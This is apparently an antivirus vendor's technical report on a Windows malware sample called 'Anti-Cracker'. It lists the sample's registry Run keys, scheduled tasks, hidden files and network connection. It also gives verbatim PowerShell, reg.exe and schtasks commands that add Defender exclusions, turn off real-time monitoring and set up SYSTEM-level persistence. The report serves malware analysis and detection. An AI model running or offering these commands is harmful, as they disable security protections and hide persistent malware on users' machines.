Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'Anti-Cracker' = '<Full path to file>'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'Anti-Cracker_w' = '%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.exe'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'Anti-Cracker' = '%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\anti-cracker.exe
- <SYSTEM32>\tasks\anti-cracker
- <SYSTEM32>\tasks\anti-cracker_w1
- <SYSTEM32>\tasks\anti-cracker_w2
- <SYSTEM32>\tasks\anti-cracker_w3
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '<Full path to file>' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%WINDIR%\Temp' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.exe' -ErrorAction SilentlyContinue"
Modifies file system
Creates the following files
- nul
- %ALLUSERSPROFILE%\microsoft\windows\caches\windowscachesvc.exe
- %ALLUSERSPROFILE%\microsoft\windows\caches\windowscachesvc.bat
Sets the 'hidden' attribute to the following files
- %ALLUSERSPROFILE%\microsoft\windows\caches\windowscachesvc.exe
- %ALLUSERSPROFILE%\microsoft\windows\caches\windowscachesvc.bat
Network activity
Connects to
- '85.##.167.71':443
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\microsoft\windows\caches\windowscachesvc.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '<Full path to file>' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "<Full path to file>" /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "<Full path to file>" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%WINDIR%\Temp' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%WINDIR%\Temp" /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%WINDIR%\Temp" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public" /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "Anti-Cracker" /tr "<Full path to file>" /sc onlogon /rl highest /f 2>nul
- '<SYSTEM32>\schtasks.exe' /create /tn "Anti-Cracker" /tr "<Full path to file>" /sc onlogon /rl highest /f
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "Anti-Cracker_w1" /tr "cmd.exe /c \"%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.bat\"" /sc minute /mo 1 /f /rl highest 2>nul
- '<SYSTEM32>\schtasks.exe' /create /tn "Anti-Cracker_w1" /tr "cmd.exe /c \"%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.bat\"" /sc minute /mo 1 /f /rl highest
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "Anti-Cracker_w2" /tr "cmd.exe /c \"%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.bat\"" /sc onlogon /f /rl highest 2>nul
- '<SYSTEM32>\schtasks.exe' /create /tn "Anti-Cracker_w2" /tr "cmd.exe /c \"%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.bat\"" /sc onlogon /f /rl highest
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "Anti-Cracker_w3" /tr "cmd.exe /c \"%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.bat\"" /sc onstart /ru SYSTEM /f /rl highest 2>nul
- '<SYSTEM32>\schtasks.exe' /create /tn "Anti-Cracker_w3" /tr "cmd.exe /c \"%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.bat\"" /sc onstart /ru SYSTEM /f /rl highest
- '<SYSTEM32>\cmd.exe' /c "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.bat"
- '<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq WindowsCacheSvc.exe"
- '<SYSTEM32>\find.exe' /I "WindowsCacheSvc.exe"
- '<SYSTEM32>\timeout.exe' /t 15 /nobreak
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.exe' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.exe" /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.exe" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "Anti-Cracker" /tr "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.exe" /sc onlogon /rl highest /f 2>nul
- '<SYSTEM32>\schtasks.exe' /create /tn "Anti-Cracker" /tr "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.exe" /sc onlogon /rl highest /f
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '<Full path to file>' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "<Full path to file>" /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%WINDIR%\Temp' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%WINDIR%\Temp" /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public" /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "Anti-Cracker" /tr "<Full path to file>" /sc onlogon /rl highest /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "Anti-Cracker_w1" /tr "cmd.exe /c \"%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.bat\"" /sc minute /mo 1 /f /rl highest 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "Anti-Cracker_w2" /tr "cmd.exe /c \"%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.bat\"" /sc onlogon /f /rl highest 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "Anti-Cracker_w3" /tr "cmd.exe /c \"%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.bat\"" /sc onstart /ru SYSTEM /f /rl highest 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.bat"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.exe' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.exe" /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "Anti-Cracker" /tr "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\WindowsCacheSvc.exe" /sc onlogon /rl highest /f 2>nul' (with hidden window)
